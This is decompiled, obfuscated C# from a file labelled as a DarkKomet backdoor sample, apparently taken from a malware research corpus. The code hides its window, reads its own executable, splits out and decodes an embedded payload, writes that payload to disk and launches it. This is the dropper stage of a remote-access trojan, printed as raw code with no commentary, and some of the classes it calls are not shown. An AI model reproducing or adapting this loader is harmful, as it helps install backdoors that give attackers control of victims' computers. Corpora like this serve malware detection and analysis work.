// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0003;
using \u001C\u0004;
using \u007F\u0004;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace \u001C\u0004
{
  internal class \u009D : Form
  {
    private static List<WeakReference> \u0001;
    private IContainer \u0002;

    [DebuggerNonUserCode]
    static \u009D()
    {
      try
      {
        \u009D.\u0001 = new List<WeakReference>();
      }
      catch (Exception ex)
      {
        \u0089\u0004.\u0017\u0005(ex);
        throw;
      }
    }

    [DebuggerNonUserCode]
    public \u009D()
    {
      List<WeakReference> weakReferenceList1;
      try
      {
        \u0098\u0004.\u0082\u0007((object) this, new EventHandler(this.\u0013\u0004));
        weakReferenceList1 = \u009D.\u0001;
        \u001A\u0002.\u0014\u0004((object) weakReferenceList1);
        try
        {
          \u009D.\u0001.Add(new WeakReference((object) this));
        }
        finally
        {
          \u001A\u0002.\u0015\u0004((object) weakReferenceList1);
        }
        this.\u0091\u0003();
      }
      catch (Exception ex)
      {
        List<WeakReference> weakReferenceList2 = (object) weakReferenceList1;
        \u0089\u0004.\u0019\u0005(ex, (object) weakReferenceList2, (object) this);
        throw;
      }
    }

    [DebuggerNonUserCode]
    protected override void Dispose([In] bool obj0)
    {
      bool flag;
      try
      {
        try
        {
          flag = obj0 && this.\u0002 != null;
          if (!flag)
            return;
          \u001A\u0002.\u007E\u0004\u0002((object) this.\u0002);
        }
        finally
        {
          \u0084\u0004.\u0084\u0007((object) this, obj0);
        }
      }
      catch (Exception ex)
      {
        // ISSUE: variable of a boxed type
        __Boxed<bool> local1 = (ValueType) flag;
        // ISSUE: variable of a boxed type
        __Boxed<bool> local2 = (ValueType) obj0;
        \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2);
        throw;
      }
    }

    private void \u0091\u0003()
    {
      SizeF sizeF;
      Size size1;
      try
      {
        this.SuspendLayout();
        sizeF = new SizeF(6f, 13f);
        this.AutoScaleDimensions = sizeF;
        \u0096\u0004.\u007E\u001D\u0007((object) this, AutoScaleMode.Font);
        \u0097\u0004 obj = \u0097\u0004.\u007E\u001F\u0007;
        size1 = new Size(116, 22);
        Size size2 = size1;
        obj((object) this, size2);
        \u0084\u0004.\u007E\u007F\u0007((object) this, false);
        \u001B\u0002.\u007E\u0018\u0007((object) this, \u0002.\u0002\u0002(3075));
        \u0084\u0004.\u007E\u0081\u0007((object) this, false);
        \u0084\u0004.\u007E\u0080\u0007((object) this, false);
        \u0084\u0004.\u007E\u001A\u0007((object) this, false);
      }
      catch (Exception ex)
      {
        // ISSUE: variable of a boxed type
        __Boxed<SizeF> local1 = (ValueType) sizeF;
        // ISSUE: variable of a boxed type
        __Boxed<Size> local2 = (ValueType) size1;
        \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) local2, (object) this);
        throw;
      }
    }

    private void \u0013\u0004([In] object obj0, [In] EventArgs obj1)
    {
      int num1;
      string str1;
      int num2;
      string str2;
      string str3;
      string str4;
      string str5;
      string str6;
      int[] numArray;
      \u009B obj;
      string str7;
      string str8;
      string[] strArray;
      string str9;
      int num3;
      try
      {
label_1:
        try
        {
          num1 = 1;
          this.Visible = false;
label_2:
          num1 = 2;
          str1 = \u0017\u0004.\u0012\u0007();
label_3:
          \u008F\u0004.\u0008\u0007();
          num2 = -2;
label_4:
          num1 = 4;
          str2 = \u0017\u0004.\u0015\u0006();
label_5:
          num1 = 5;
          str3 = \u008C\u0004.\u0004\u0007(32);
label_6:
          num1 = 6;
          str4 = \u008C\u0004.\u0004\u0007(1);
label_7:
          num1 = 7;
          str5 = \u008C\u0004.\u0004\u0007(3);
label_8:
          num1 = 8;
          \u0087\u0004.\u009D\u0006(1, str1, (OpenMode) \u0014\u0003.\u0003\u0007(str3), (OpenAccess) \u0014\u0003.\u0003\u0007(str4), (OpenShare) \u0014\u0003.\u0003\u0007(str5), -1);
label_9:
          num1 = 9;
          str6 = \u008C\u0004.\u0010\u0007(checked ((int) \u008B\u0004.\u0002\u0007(1)));
label_10:
          num1 = 10;
          \u0089\u0004.\u009F\u0006(1, ref str6, -1L, false);
label_11:
          num1 = 11;
          numArray = new int[1]{ 1 };
          \u0088\u0004.\u009E\u0006(numArray);
label_12:
          num1 = 12;
          obj = new \u009B();
label_13:
          num1 = 13;
          str7 = \u008C\u0004.\u0004\u0007(3);
label_14:
          num1 = 14;
          str8 = \u008C\u0004.\u0004\u0007(-1);
label_15:
          num1 = 15;
          strArray = \u0091\u0004.\u0011\u0007(str6, \u0002.\u0002\u0002(3084), -1, CompareMethod.Binary);
label_16:
          num1 = 16;
          str9 = \u009B.\u0090\u0003(strArray[1], \u0002.\u0002\u0002(3145));
label_17:
          num1 = 17;
          \u0087\u0004.\u009D\u0006(5, \u009A\u0002.\u001E\u0002(str2, \u0002.\u0002\u0002(3198)), (OpenMode) \u0014\u0003.\u0003\u0007(str3), (OpenAccess) \u0014\u0003.\u0003\u0007(str7), (OpenShare) \u0014\u0003.\u0003\u0007(str8), -1);
label_18:
          num1 = 18;
          \u008A\u0004.\u0001\u0007(5, str9, -1L, false);
label_19:
          num1 = 19;
          numArray = new int[1]{ 5 };
          \u0088\u0004.\u009E\u0006(numArray);
label_20:
          num1 = 20;
          Process process = \u0080\u0002.\u0086(\u009A\u0002.\u001E\u0002(str2, \u0002.\u0002\u0002(3198)));
label_21:
          num1 = 21;
          \u001A\u0002.\u007E\u0083\u0007((object) this);
          \u008F\u0004.\u000E\u0007();
          goto label_27;
label_23:
          num3 = num1;
          switch (num2 > -2 ? num2 : 1)
          {
            case 1:
              int num4 = num3 + 1;
              num3 = 0;
              switch (num4)
              {
                case 1:
                  goto label_1;
                case 2:
                  goto label_2;
                case 3:
                  goto label_3;
                case 4:
                  goto label_4;
                case 5:
                  goto label_5;
                case 6:
                  goto label_6;
                case 7:
                  goto label_7;
                case 8:
                  goto label_8;
                case 9:
                  goto label_9;
                case 10:
                  goto label_10;
                case 11:
                  goto label_11;
                case 12:
                  goto label_12;
                case 13:
                  goto label_13;
                case 14:
                  goto label_14;
                case 15:
                  goto label_15;
                case 16:
                  goto label_16;
                case 17:
                  goto label_17;
                case 18:
                  goto label_18;
                case 19:
                  goto label_19;
                case 20:
                  goto label_20;
                case 21:
                  goto label_21;
                case 22:
                  goto label_27;
              }
              break;
          }
        }
        catch (Exception ex) when (ex is Exception & num2 != 0 & num3 == 0)
        {
          ProjectData.SetProjectError(ex);
          goto label_23;
        }
        throw \u008D\u0004.\u0006\u0007(-2146828237);
label_27:
        if (num3 == 0)
          return;
        \u008F\u0004.\u0008\u0007();
      }
      catch (Exception ex)
      {
        object[] objArray = new object[18]
        {
          (object) str6,
          (object) str5,
          (object) str1,
          (object) str3,
          (object) str9,
          (object) str4,
          (object) obj,
          (object) strArray,
          (object) str8,
          (object) str7,
          (object) str2,
          (object) numArray,
          (object) num2,
          (object) num3,
          (object) num1,
          (object) this,
          obj0,
          (object) obj1
        };
        \u0089\u0004.\u0081\u0005(ex, objArray);
        throw;
      }
    }
  }
}
